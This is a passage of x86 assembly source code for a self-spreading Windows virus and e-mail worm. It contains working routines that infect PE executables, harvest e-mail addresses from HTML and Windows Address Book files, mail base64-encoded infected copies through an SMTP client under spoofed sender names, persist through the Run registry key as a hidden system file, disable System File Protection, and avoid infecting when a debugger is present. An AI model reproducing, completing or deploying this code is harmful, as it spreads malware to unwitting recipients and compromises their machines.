loop LoopOfFixAllVxDCalls ; Easy, optimized and effective
ret
VxDFix endp

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Infection routines %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

InfectionCheck proc
; input:
; ESI = Pointer to PE header
; output:
; CF = Set if error

cmp byte ptr [ebp+SoftICE],NoSoftICE ; If SiCE, no infect
jnz ErrorInfectionCheck

cmp word ptr [esi],"EP" ; Check for PE mark
jnz ErrorInfectionCheck

cmp dword ptr [esi.MagicInfection],inf_mark
jz ErrorInfectionCheck ; Check for previous infection

cmp word ptr [esi.Machine],i386_machine
jnz ErrorInfectionCheck ; Check for i386 ;)

bt word ptr [esi.PECharacteristics],0Dh
jc ErrorInfectionCheck ; Check for DLL bit

cmp dword ptr [ebp.WFD_nFileSizeHigh],00h
jnz ErrorInfectionCheck ; Don't allow huge & ugly files

if debug
else
cmp dword ptr [ebp.WFD_nFileSizeLow],2000h ; 8k
jb ErrorInfectionCheck ; Don't allow too little files
endif

mov dword ptr [esi.MagicInfection],inf_mark
; Mark header as infected
test al,00h
org $-1
ErrorInfectionCheck:
stc
ret
InfectionCheck endp

;----------------------------------------------------------------------------

PreInfection proc
; input:
; ESI = Pointer to PE header
; output:
; EDI = Pointer to PE header
; ESI = Pointer to last section header

mov edi,esi

movzx eax,word ptr [edi.NumberOfSections]
dec eax
imul eax,eax,SizeOfSectHeader
add esi,eax
add esi,78h
mov edx,[edi.74h]
shl edx,03h
add esi,edx

and dword ptr [edi.DirEntryReloc],00h ; Nulify relocations ;)
and dword ptr [edi.DirEntryReloc.4],00h
or dword ptr [esi.Characteristics],RWX_attributes
ret
PreInfection endp

;----------------------------------------------------------------------------

ProcessExtension proc
; input:
; EBX = Pointer to file name (only)
; EDI = Pointer to file name (with full path)
; output:
; ECX = 00 - Error: not handled extension
; 01 - Possible PE file
; 02 - Possible known archive
; 03 - Possible HTMx file (needed for e-mail spreading)
; 04 - Possible WAB file (needed for e-mail spreading)

xor ecx,ecx
call AvoidShitFiles
jc NotHandledExtension

mov al,"." ; Search for da point
scasb
jnz $-1

dec edi

mov eax,[edi] ; Get the extension
or eax,20202020h ; Make it lowercase

mov dword ptr [ebp+extension],eax ; Save here also
xchg eax,ebx

; extension_table format:
; BYTE type_of_file
; DWORD extension

lea esi,[ebp+extension_table]
lewp: lodsb
xor ecx,ecx
cmp al,0BBh
jz NotHandledExtension
mov cl,al ; ECX = Action to do
lodsd
cmp eax,ebx
jnz lewp
NotHandledExtension:
ret
ProcessExtension endp

;----------------------------------------------------------------------------

AvoidShitFiles proc
; input:
; EDI = Pointer to filename
; output:
; CF = Set if shitty file

pushad
mov edi,ebx
mov esi,edi
call ToUpperCase
lea esi,[ebp+Files2Avoid] ; Ptr to table
ASF_Loop:
xor eax,eax ; Clear EAX
lodsb ; Load size of string in AL

cmp al,0BBh ; End of table?
jz AllShitFilesProcessed ; Oh, shit!

xchg eax,ecx ; Put Size in ECX
push edi ; Preserve program pointer
rep cmpsb ; Compare both strings
pop edi ; Restore program pointer
jz ShitFileFound ; Damn, a shitty file!

add esi,ecx ; Pointer to another string
jmp ASF_Loop ; in table & loop

AllShitFilesProcessed:
test al,00h ; Overlap
org $-1
ShitFileFound:
stc ; Set carry
popad
ret
AvoidShitFiles endp

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % APICRC32 engine %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; The pseudo-structure for the APICRC32 engine is the following:
;
; * ASCIIz String of the library (not needed for KERNEL32)
; * CRC32 of APIs we need
; * BB byte (for signalize the end of exports needed of that function)
; * ... (repeat the above points the times you need->libraries u use)
; * "" byte (for signalize the definitive end of imports)

GetAPIs proc
; input:
; EAX = Base address of the library where search the APIs
; ESI = Pointer to an array of CRC32 of the APIs we want to search
; EDI = Pointer to where store the APIs
; output:
; Nothing.

push eax ; EAX = Handle of module
pop dword ptr [ebp+TmpModuleBase]
APIS33K:
lodsd ; Get in EAX the CRC32 of API
push esi edi
call GetAPI_ET_CRC32
pop edi esi
stosd ; Save in [EDI] the API address

cmp byte ptr [esi],0BBh ; There are more APIs in this
jnz APIS33K ; library

inc esi ; Check if it's the last of
cmp byte ptr [esi],"" ; all them
jz EndOfAPISearch

push esi ; ESI points now to the ASCIIz
apicall LoadLibraryA ; string of a library... We
; need to load it!
push eax

nxtchr: lodsb ; Reach the end of the lib
test al,al ; asciiz name
jnz nxtchr

pop eax
jmp GetAPIs

EndOfAPISearch:
ret
GetAPIs endp

GetAPI_ET_CRC32 proc
; input:
; EAX = CRC32 of the API we want to know its address
; output:
; EAX = API address, NULL if error

xor edx,edx

pushad

call over_APICRC32_SEH
mov esp,[esp+08h] ; Set stack as before
xor eax,eax ; signalize the error
jmp Remove_APICRC32_SEH

over_APICRC32_SEH:
push dword ptr fs:[edx] ; Set new SEH frame
mov dword ptr fs:[edx],esp

xchg eax,edx ; Put CRC32 of da api in EDX
mov dword ptr [ebp+Counter],eax ; Clear this field :)
push 3Ch
pop esi
add esi,[ebp+TmpModuleBase] ; Get PE header of module
lodsw
add eax,[ebp+TmpModuleBase] ; Normalize

push 1Ch
pop esi
add esi,[eax+78h] ; Get a pointer to its edata
add esi,[ebp+TmpModuleBase]

lea edi,[ebp+AddressTableVA] ; Pointer to the address table
lodsd ; Get AddressTable value
add eax,[ebp+TmpModuleBase] ; Normalize
stosd ; And store in its variable

lodsd ; Get NameTable value
add eax,[ebp+TmpModuleBase] ; Normalize
push eax ; Put it in stack
stosd ; Store in its variable

lodsd ; Get OrdinalTable value
add eax,[ebp+TmpModuleBase] ; Normalize
stosd ; Store

pop esi ; ESI = NameTable VA

@?_3: lodsd ; Get pointer to an API name
push esi ; Save again
add eax,[ebp+TmpModuleBase] ; Normalize
xchg edi,eax ; Store ptr in EDI
mov ebx,edi ; And in EBX

push edi ; Save EDI
xor al,al
scasb
jnz $-1
pop esi ; ESI = Pointer to API Name

sub edi,ebx ; EDI = API Name size

push edx ; Save API's CRC32
call CRC32 ; Get actual api's CRC32
pop edx ; Restore API's CRC32
cmp edx,eax ; Are them equal?
jz @?_4 ; if yes, we got it

pop esi ; Restore ptr to api name
inc dword ptr [ebp+Counter] ; And increase the counter
jmp @?_3 ; Get another api!
@?_4:
pop esi ; Remove shit from stack
mov eax,12345678h ; Put in EAX the number that
Counter = $-4 ; the API occupy in list.
shl eax,1 ; *2 (it's an array of words)
add eax,[ebp+OrdinalTableVA] ; Normalize
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
lodsw ; Get ordinal in AX
cwde ; Clear MSW of EAX
shl eax,2 ; And with it we go to the
add eax,[ebp+AddressTableVA] ; AddressTable (array of
xchg esi,eax ; dwords)
lodsd ; Get Address of API RVA
add eax,[ebp+TmpModuleBase] ; and normalize!! That's it!

Remove_APICRC32_SEH:
xor edx,edx ; Remove that SEH frame
pop dword ptr fs:[edx]
pop edx
mov [esp.PUSHAD_EAX],eax
popad
ret
GetAPI_ET_CRC32 endp

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % E-MAIL Spreading Subroutines (i-worm) %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; This function will search into the HTML filez for e-mail addresses, and
; each time it finds anyone, it will try to send a copy of the virus there
; (if that e-mail wasn't already used).

AnalyzeHTM:
; input:
; EDI = HTM(L) file to analyze
; output:
; Nothing.

switch: nop ; X-D

push 80h ; Destroy hostile attributes
push edi ; (again) :)
apicall SetFileAttributesA

xor eax,eax ; Open file for R/W
push eax
push eax
push 03h
push eax
inc eax
push eax
push 0C0000000h
push edi
apicall CreateFileA

inc eax
jz ExitProcessingHTM
dec eax

mov dword ptr [ebp+FH_HTM],eax ; Save handle of opened file

push eax

push 00h
push eax
apicall GetFileSize ; Get its size
mov dword ptr [ebp+SizeOfHTM],eax

pop ecx

cdq ; An HTM file won't be much
; bigger that 2 Gigs, ok? :)
push edx
push edx
push edx
push 04h ; map attibutes
push edx
push ecx ; push handle
apicall CreateFileMappingA

or eax,eax
jz CloseFileExitProcessingHTM

mov dword ptr [ebp+MH_HTM],eax

xor ebx,ebx ; Map the entire file :)
push ebx
push ebx
push ebx
push 02h
push eax
apicall MapViewOfFile

or eax,eax
jz CloseMap&FileExitProcessingHTM

mov dword ptr [ebp+MA_HTM],eax

; Here, our friend is mapped :)

mov ecx,12345678h
SizeOfHTM = $-4
xchg eax,esi

tihs: lea edi,[ebp+emilio] ; For whom the bell tolls?
push edi ; OHHHH YEAH! METALLICA RULEZ!
call GetMailAddressFromHTML ; Ride The Lightning, babe.
pop edi
jc liberate ;my madness

; Okay, we've got an e-mail address... let's try to send sumthing there X-D

pushad
mov esi,edi
call CheckEmail ; Check if we've already sent
jc TheDorkWasAlreadyInfected ; shit to the d0rk

lea esi,[ebp+emilio]
call AddToMailTable ; Add the mail to our 'special'
; address book :)

if debug ; The debug action :)
push 0
pushs "E-Mail found!!!"
lea eax,[ebp+emilio]
push eax
push 0
apicall MessageBoxA_
endif

call SendMail

TheDorkWasAlreadyInfected:
popad
jmp tihs

liberate:
UnMap&CloseMap&FileExitProcessingHTM:
push 12345678h
MA_HTM = $-4
apicall UnmapViewOfFile

CloseMap&FileExitProcessingHTM:
push 12345678h
MH_HTM = $-4
apicall CloseHandle

CloseFileExitProcessingHTM:
push 12345678h
FH_HTM = $-4
apicall CloseHandle

ExitProcessingHTM:
ret

; This function, done by LifeWire/iKX (hiya pal!), will search into every
; Windows Address Book (WAB) file for e-mail addresses. It'll make the virus
; spread a'la Melissa, but with neat and low-level code. Idea & code: LW/iKX.

AnalyzeWAB:
; input:
; EDI = WAB file to analyze
; output:
; Nothing.

switch2:nop
xor esi,esi ; Open file for R/W
push esi
push esi
push 03h
push esi
push 01h
push 0C0000000h
push edi
apicall CreateFileA

inc eax
jz ExitProcessingWAB
dec eax

mov dword ptr [ebp+FH_WAB],eax ; Save handle of opened file

push esi
push esi
push esi
push 04h ; map attibutes
push esi
push eax ; push handle
apicall CreateFileMappingA

or eax,eax
jz CloseFileExitProcessingWAB

mov dword ptr [ebp+MH_WAB],eax

push esi
push esi
push esi
push 02h
push eax
apicall MapViewOfFile

or eax,eax
jz CloseMap&FileExitProcessingWAB

mov dword ptr [ebp+MA_WAB],eax

; Now we have the whole WAB file mapped in memory. Let's get addresses from
; it! :P

mov ecx,dword ptr [eax+64h] ; Number of addresses
jecxz UnMap&CloseMap&FileExitProcessingWAB
add eax,dword ptr [eax+60h] ; Pointer in mem to them

lifewire_g0d:
pushad
mov esi,eax

cmp byte ptr [esi+1],00h ; Outlook 5.5? The dammit has
jnz do_it_as_always ; e-mails in unicode.

lea edi,[ebp+normal_mail]
push edi
uni2asciiz:
movsb ; Convert UNI to ASCIIz
dec edi
cmpsb
jnz uni2asciiz
pop esi
add dword ptr [esp.PUSHAD_EAX],24h ; We must add 48h (24h twice)
do_it_as_always:
push esi
call CheckEmail ; Was the address there?
pop esi ; Check it sucka!
jc TheD0rkWasAlreadyInfected

if debug ; The debug action :)
push 0
pushs "E-Mail found!!!"
push esi
push 0
apicall MessageBoxA_
endif

push esi
call AddToMailTable ; Add the mail to our 'special'
pop esi ; address book :)

lea edi,[ebp+emilio] ; Put the address here
else¤ordelosgramillos:
lodsb
stosb
test al,al
jnz else¤ordelosgramillos ; M„go de Oz rulez! :)

call SendMail ; Send it! ;)

TheD0rkWasAlreadyInfected:
popad
add eax,24h
loop lifewire_g0d

UnMap&CloseMap&FileExitProcessingWAB:
push 12345678h
MA_WAB = $-4
apicall UnmapViewOfFile

CloseMap&FileExitProcessingWAB:
push 12345678h
MH_WAB = $-4
apicall CloseHandle

CloseFileExitProcessingWAB:
push 12345678h
FH_WAB = $-4
apicall CloseHandle

ExitProcessingWAB:
ret

; Some routines used in both methods :)

AddToMailTable:
; input:
; ESI = Pointer to e-mail address
; output:
; Nothing.

call GetCRC32
mov dword ptr [ebp+EmailCRC],eax

lea edi,[ebp+AddBook]
push 80h
push edi
apicall SetFileAttributesA

push 00h ; Open the address book
push 80h
push 04h ; Open if exist, create if don't
push 00h
push 01h
push 0C0000000h
call _over
AddBook:db "C:\REVEROF.SYS",0
_over: apicall CreateFileA
push eax

push 02h ; Put the pointer at the end
push 00h ; of the file
push 00h
push eax
apicall SetFilePointer

mov eax,[esp]

push 00h ; Write the CRC32 of the
lea ebx,[ebp+iobytes] ; e-mail to the file (this
push ebx ; avoids us to re-send the
push 04h ; virus to an already infected
call _0ver ; victim) that is used as add.
EmailCRC dd ? ; book :)
_0ver: push eax
apicall WriteFile
apicall CloseHandle

lea edi,[ebp+AddBook]
push 80h or 04h or 02h or 01h ; Untouchable file
push edi
apicall SetFileAttributesA
ret

CheckEmail:
; input:
; ESI = Pointer to e-mail address
; output:
; CF = Set if e-mail used or address book don't exist, 0 if not.

call GetCRC32
mov dword ptr [ebp+email],eax

lea edi,[ebp+AddBook]
push 80h
push edi
apicall SetFileAttributesA

push 00h ; Open the address book
push 80h
push 04h
push 00h
push 01h
push 0C0000000h
lea eax,[ebp+AddBook]
push eax
apicall CreateFileA

inc eax
jz CE_err ; If file doesn't exist, error
dec eax

push eax

mov edi,eax

push 00h
push eax
apicall GetFileSize

mov ebx,eax
shr ebx,2 ; EBX = Number of recorded
; e-mails in the file
mov dword ptr [ebp+nEmails],ebx

mov esi,eax

push eax
push 00h
apicall GlobalAlloc
mov dword ptr [ebp+AddressTblMem],eax

mov ecx,[esp]

push 00h
lea ebx,[ebp+NumBytesRead]
push ebx
push esi ; Size to read
push eax ; Where read it
push edi ; Handle of file :)
apicall ReadFile

apicall CloseHandle

lea edi,[ebp+AddBook]
push 80h or 04h or 02h or 01h ; Untouchable file
push edi
apicall SetFileAttributesA

mov eax,12345678h ; Here goes E-MAIL CRC32
email = $-4
mov edi,12345678h ; Here goes where are all
AddressTblMem = $-4 ; addresses stored
mov ecx,12345678h ; This is the number of emails
nEmails = $-4 ; stored
jecxz CE_ok ; bugfix :)
repnz scasd ; Is this mail here?

pushfd ; Close temporal memory
push dword ptr [ebp+AddressTblMem] ; in any case X-D
apicall GlobalFree
popfd

jz CE_err ; The solution is here :P

CE_ok: test al,00h
org $-1
CE_err: stc
ret


GetMailAddressFromHTML:
; input:
; ECX = Size of code to search
; ESI = Pointer to HTML code
; EDI = Pointer to where store e-mail (if found)
; output:
; CF = Set if no e-mails found

seekit: cmp dword ptr [esi],'iam"' ; Search for '"mailto:' string
jnz ckuf ; Maybe we got it...
cmp dword ptr [esi+4],":otl"
jz liberty
ckuf: inc esi ; Or not :(
skream: loop seekit ; Loop till the limit
stc ; Signalize the error
ret
liberty:lea esi,[esi+8] ; ESI points to the email
cpmail: lodsb ; Put it in the variable :)
stosb
cmp al,'"' ; email is till '"'
jnz cpmail
mov byte ptr [edi-1],00h ; Make null the last '"'
clc ; Away without error...
ret

GetCRC32:
; input:
; ESI = Pointer to ASCIIZ string
; output:
; EAX = CRC32 of such string

mov edi,esi ; First we need to get the
xor al,al ; CRC32 of the e-mail we're
_next: scasb ; sending the "gift" ;)
jnz _next
sub edi,esi
call CRC32
ret

; The important thing of all this shit, the threaded SMTP client

SendMail:
; input:
; Nothing.
; output:
; Nothing.

if debug
int 3
endif

xor edx,edx
call $+9
dd ? ; lpThreadId
push edx ; dwCreationFlags
push edx ; lpParameter
lea eax,[ebp+AwaitConnection]
push eax ; lpStartAddress
push edx ; dwStackSize
push edx ; lpThreadAttributes
apicall CreateThread
mov dword ptr [ebp+ThreadHandle],eax
xchg eax, ecx ; Error?
jecxz ErrorCreatingMailThread ; Damn...

push ecx
push -2
push ecx
apicall SetThreadPriority ; Lowest priority
pop ecx

push -1 ; Push -1
push ecx ; Push mail thread handle
apicall WaitForSingleObject
ErrorCreatingMailThread:
ret

; This thread will await until we're connected to the internet with a low
; priority, thus avoiding to suck so much system resources.

AwaitConnection:
call GetDeltaOffset
db 0FFh

push 00h
call $+9
dd ?
apicall InternetGetConnectedState ; Thanx Asmod! :)
dec eax
jnz AwaitConnection

push 15
push dword ptr [ebp+ThreadHandle]
apicall SetThreadPriority

; And now create the real pain in the ass, the SMTP client thread :P

xor edx,edx
call $+9
dd ? ; lpThreadId
push edx ; dwCreationFlags
push edx ; lpParameter
lea eax,[ebp+SMTPClient]
push eax ; lpStartAddress
push edx ; dwStackSize
push edx ; lpThreadAttributes
apicall CreateThread
xchg eax, ecx ; Error?
jecxz ErrorCreatingClientThread ; Damn...

push ecx

push 15
push ecx
apicall SetThreadPriority ; Suck resources! Suck! Suck!

pop ecx

push 0
push ecx

push 180000d ; Wait 2 minute
push ecx ; Push mail thread handle
apicall WaitForSingleObject

apicall TerminateThread ; Terminate thread then :(

ErrorCreatingClientThread:
push 00h
apicall ExitThread

; This is the client code. Enjoy! :P

SMTPClient:
call GetDeltaOffset
db 0BBh ; heh :]

lea eax,[ebp+wsad] ; Init wsock functions
push eax
push 101h
apicall WSAStartup
or eax,eax
jnz error_smtp

cmp word ptr [ebp+wsad.mVersion],101h ; Check wsock version (1.1)
jnz close_socks

push 00h ; Protocol (none)
push 01h ; Type of socket (stream)
push 02h ; Family (Internet)
apicall socket
mov dword ptr [ebp+SocketHandle],eax
inc eax ; Check for errors
jz close_socks

mov word ptr [ebp+saddr.sin_family],02h

push 25d ; SMTP port
apicall htons ; Convert to network byte order

mov word ptr [ebp+saddr.sin_port],ax

lea edi,[ebp+SMTPName] ; Push name of SMTP server
push edi
apicall gethostbyname
or eax,eax
jz kill_socks

mov esi,dword ptr [eax.h_ip]
lodsd
mov dword ptr [ebp+saddr.sin_addr],eax

; Now that SOCKADDR structure is built, let's connect

push size SOCKADDR
lea eax,[ebp+saddr]
push eax
push dword ptr [ebp+SocketHandle]
apicall connect
inc eax
jz kill_socks

; This is the loop for send shit :]

; int 3

lea esi,[ebp+szToSend] ; The megalewp! :)
push nToSend
pop ecx

f0rking_muthafucka:
push ecx
lodsd
add eax,ebp
xchg eax,esi
call getstringsize
call _send

call _recv ; Receive shit :)

cmp eax," 052" ; Check for possible good
jz kill_socks ; return codes :)
cmp eax," 453"
jz kill_socks
cmp eax," 022"
jz kill_socks

pop ecx
loop f0rking_muthafucka

lea esi,[ebp+message_body1] ; We send e-mail body
mov ecx,message_size1
call _send

mov esi,dword ptr [ebp+MimePtr]
mov ecx,dword ptr [ebp+MimeSize]
call _send

lea esi,[ebp+message_body2]
mov ecx,message_size2
call _send

lea esi,[ebp+szEndOfMail] ; Now we flush all, and
call getstringsize ; server sends the e-mail
call _send

lea esi,[ebp+szQuit]
call getstringsize
call _send

; All the job is done, log off! :D

kill_socks:
push dword ptr [ebp+SocketHandle]
apicall closesocket

close_socks:
apicall WSACleanup

error_smtp:
push 00h
apicall ExitThread

; This will retrieve a name of a SMTP server, which we'll use to send e-mails
; But before we'll build a base64 encoded attachment that carry a copy of the
; virus (our 'gift') :P

SMTPInitClient:
; input:
; Nothing.
; output:
; ESI = Pointer to a SMTP server name

push dword ptr [ebp+MimePtr] ; Liberate mem (if allocated)
apicall GlobalFree

; Now we're gonna put in some temporally allocated memory an infected file :)

call ReleaseDropper

push 00h ; Create the dropper
push 80h
push 03h
push 00h
push 01h
push 80000000h
lea edi,[ebp+TemporalFile]
push edi
apicall CreateFileA

mov esi,eax

push eax

push 00h
push eax
apicall GetFileSize

mov dword ptr [ebp+enc_size],eax

xchg edi,eax

push edi
add dword ptr [esp],1000 ; security :)
push 00h
apicall GlobalAlloc
mov dword ptr [ebp+temp_buffer],eax

push 00h
lea ebx,[ebp+NumBytesRead]
push ebx
push edi
push eax
push esi
apicall ReadFile

apicall CloseHandle

; We setup it to be sent - with base64 algorithm

push 80000d ; Make some big buffer
push 00h
apicall GlobalAlloc
mov dword ptr [ebp+MimePtr],eax

mov eax,12345678h ; EAX = size of data to encode
enc_size = $-4

push 3
pop ecx

xor edx,edx ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
xchg eax,ecx

mov edx,dword ptr [ebp+MimePtr]
mov eax,dword ptr [ebp+temp_buffer]
call encodeBase64
mov dword ptr [ebp+MimeSize],ecx

push dword ptr [ebp+temp_buffer]
apicall GlobalFree

call KillDropper

; Spoof a bit the e-mail :)

lea edi,[ebp+szNameFrom]
lea esi,[ebp+names]
call r_range,8
xchg eax,ecx
call SetNewName

; Now search for SMTP client's name :)

lea edi,[ebp+RegHandle]

push edi
push 01h ; KEY_QUERY_VALUE
push 00h
pushs "Software\Microsoft\Internet Account Manager",0
push 80000001h ; HKEY_CURRENT_USER
apicall RegOpenKeyExA

or eax,eax
jnz HardcodeSMTP

call x_1
dd 00000009h ; Copy 9 chars
x_1: lea eax,[ebp+AccountIdx] ; Where put the new info
push eax
push 00h
push 00h
pushs "Default Mail Account",0
push dword ptr [ebp+RegHandle]
apicall RegQueryValueExA

or eax,eax
jnz HardcodeSMTP

push dword ptr [ebp+RegHandle]
call RegCloseKey

push edi
push 01h ; KEY_QUERY_VALUE
push 00h
call x_2
db "Software\Microsoft\Internet Account Manager\Accounts\"
AccountIdx db "00000000",0
x_2: push 80000001h ; HKEY_CURRENT_USER
apicall RegOpenKeyExA

or eax,eax
jnz HardcodeSMTP

call x_3
dd 00000030d ; Copy 30 chars
x_3: lea edi,[ebp+SMTPName] ; Where put the new value
push edi
push 00h
push 00h
pushs "SMTP Server",0
push dword ptr [ebp+RegHandle]
apicall RegQueryValueExA

or eax,eax
jnz HardcodeSMTP

push dword ptr [ebp+RegHandle]
call RegCloseKey
mov esi,edi
ret
HardcodeSMTP:
call r_range,02h ; Greetz to vecna for thiz
mov esi,dword ptr [ebp+SMTPServers+eax*4]
add esi,ebp
ret

; This procedure will generate a random name for the "from:" field of e-mail,
; using "usual" american names. It can be trustable ;P
;
; The full name can be a combination of the following ones:
;
; NAMES SURNAMES
;
; William Smith
; Brian O'Leary
; Steve Anderson
; Matt Herrera
; Thomas Burton
; James Case
; Jeniffer Lee
; Lisa Grissom

SetNewName:
; input:
; ECX = Place, in names structure, of the name we wanna put
; ESI = Name table structure
; EDI = Where put it
; output:
; Nothing.

lodsb
test al,al
jnz SetNewName
loop SetNewName
cp_name:lodsb
stosb
test al,al
jnz cp_name
dec edi
ret

; Mwaha! I don't like the idea of coding this shit myself, so rip is useful.
; I have author permission :) I've optimized it a bit, also.

encodeBase64:
; input:
; EAX = Address of data to encode
; EDX = Address to put encoded data
; ECX = Size of data to encode
; output:
; ECX = size of encoded data
;
xor esi,esi ; encodeBase64 by Bumblebee. All rights reserved ;)
call over_enc_table
db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
db "abcdefghijklmnopqrstuvwxyz"
db "0123456789+/"
over_enc_table:
pop edi
push ebp
xor ebp,ebp
baseLoop:
movzx ebx,byte ptr [eax]
shr bl,2
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi

mov bx,word ptr [eax]
xchg bl,bh
shr bx,4
mov bh,0
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi

inc eax
mov bx,word ptr [eax]
xchg bl,bh
shr bx,6
xor bh,bh
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi

inc eax
xor ebx,ebx
movzx ebx,byte ptr [eax]
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax

inc ebp
cmp ebp,24
jna DontAddEndOfLine

xor ebp,ebp ; add a new line
mov word ptr [edx+esi],0A0Dh
inc esi
inc esi
test al,00h ; Optimized (overlap rlz!)
org $-1
DontAddEndOfLine:
inc ebp
sub ecx,3
or ecx,ecx
jne baseLoop

mov ecx,esi
add edx,esi
pop ebp
ret

getstringsize:
; input:
; ESI = Pointer to string
; output:
; ECX = Size of string, without counting NULL terminator

mov edi,esi
xor al,al
scasb
jnz $-1
sub edi,esi

       mov     ecx,edi 
dec ecx
ret

_send:
; input:
; ECX = Size of data to send
; ESI = Pointer to the data to send
; output:
; EAX = If successful, the number of bytes sent, otherwise, -1.

push 00h
push ecx ; Bytes to send
push esi ; What send
push dword ptr [ebp+SocketHandle] ; What socket
call send
ret

_recv:
; input:
; Nothing.
; output:
; EAX = If successful, the 4 first bytes received, otherwise, 0.

push 00h
push 04h ; Bytes to receive (a dword)
lea eax,[ebp+where_recv]
push eax ; Where receive
push dword ptr [ebp+SocketHandle] ; What socket
call recv
inc eax ; Test if error (-1)
jz recv_err
cmp eax,5
jnz recv_err
get1mo:
push 00h
push 01h ; Bytes to receive (a byte)
call $+6
mugrix db 00h ; Received here :)
push dword ptr [ebp+SocketHandle] ; What socket
call recv

cmp byte ptr [ebp+mugrix],0Ah ; Till find this
jnz get1mo

db 0B8h ; EAX = The dword received
where_recv dd ?
ret
recv_err:
xor eax,eax
ret

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Windows boot-up handling (Spawning) subroutines %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; This routine will unpack the PE dropper and will infect it. It's needed for
; Windows boot-up handling, archive infection, and BAT infection. The dropper
; is packed (not really compressed at all) by a simple engine i did based in
; the repeatition of zeroes. Sorta simple, you know. But for PE files, it
; makes it to occupy much less than if it were not compressed. So i called it
; LSCE (Little Shitty Compression Engine). You won't see it released as an
; independent package coz it doesn't have the enough quality :)

ReleaseDropper:
push 8192d ; Alloc some memory more
push 00h
apicall GlobalAlloc
mov dword ptr [ebp+GlobalAllocHnd],eax

call over_dr0p
include dropper.inc
over_dr0p:
pop esi
mov ecx,sdr0p
xchg eax,edi

call LSCE_UnPack

push 00h ; Create the dropper
push 80h
push 02h
push 00h
push 01h
push 40000000h
lea edi,[ebp+TemporalFile]
push edi
apicall CreateFileA

push eax ; Write it, sucka!

push 00h
lea ebx,[ebp+iobytes]
push ebx
push 2000h
push dword ptr [ebp+GlobalAllocHnd]
push eax
apicall WriteFile

apicall CloseHandle

push dword ptr [ebp+GlobalAllocHnd]
apicall GlobalFree

push dword ptr [ebp+ModBase]
push dword ptr [ebp+OldEIP]

lea edi,[ebp+TemporalFile] ; Infect the dr0pped file
call InfectPE

pop dword ptr [ebp+OldEIP]
pop dword ptr [ebp+ModBase]

push 00h ; Create the dropper
push 80h
push 03h
push 00h
push 01h
push 0C0000000h
lea edi,[ebp+TemporalFile]
push edi
apicall CreateFileA

push eax

push 00h
push eax
apicall GetFileSize
mov dword ptr [ebp+DropperSize],eax

apicall CloseHandle
ret

; This procedure will delete the temporal infected file.

KillDropper:
lea edi,[ebp+TemporalFile] ; Hide our steps :)
push edi
apicall DeleteFileA
ret

; This is one of the main procedures of the virus... It will set a new key
; into 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run', with the path
; of an infected file. This will allow us to run everytime windows is initi-
; alized.

BuildWinBootVirusCopy:
lea edi,[ebp+temp_dir] ; Setup some variables
push MAX_PATH
push edi
apicall GetSystemDirectoryA ; Get System Dir (1st time)

call twilight_time
trojan db "\REVEROF.EXE",0 ; Copy to this file in SYS dir
twilight_time:
push edi
apicall lstrcat

lea esi,[ebp+TemporalFile] ; Copy temporal file there
push 00h
push edi
push esi
apicall CopyFileA

if winboot

lea eax,[ebp+Disposition] ; Put an infected virus copy
push eax ; at the windows boot-up ;)
lea eax,[ebp+RegHandle]
push eax
cdq
push edx
push 000F003Fh
push edx
push edx
push edx

; Thanx to the mag PCMANIA for showing this reg key as a trick for W95 ;)

pushs "Software\Microsoft\Windows\CurrentVersion\Run"
push 80000002h
apicall RegCreateKeyExA

lea edi,[ebp+temp_dir]

push edi
xor eax,eax
scasb
jnz $-1
sub edi,[esp]
xchg edi,eax ; EAX = Size of the string
pop edi

push eax
push edi
push 01h
push 00h
lea edi,[ebp+szTtl_]
push edi
push dword ptr [ebp+RegHandle]
apicall RegSetValueExA

endif

if debug
else
lea eax,[ebp+temp_dir] ; Set it R/O, hidden and system
push 80h or 04h or 02h or 01h ; Untouchable file :)
push eax
apicall SetFileAttributesA
endif
ret

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Deactivate System File Protection (SFP) %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; Thanx to LifeWire for publishing in his web (www.lifewire.org) this trick

KillSFC:
lea eax,[ebp+Disposition] ; Deactivate SFP in Win2k
push eax
lea eax,[ebp+RegHandle]
push eax
push 00h
push 000F003Fh
push 00h
push 00h
push 00h
pushs "Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
push 80000002h
apicall RegCreateKeyExA

push 04h ; Put 4 bytes
call o_1
dd 0FFFFFFD9h ; With this value we kill SFP
o_1: push 01h
push 00h
pushs "SFCDisable"
push dword ptr [ebp+RegHandle]
apicall RegSetValueExA
ret

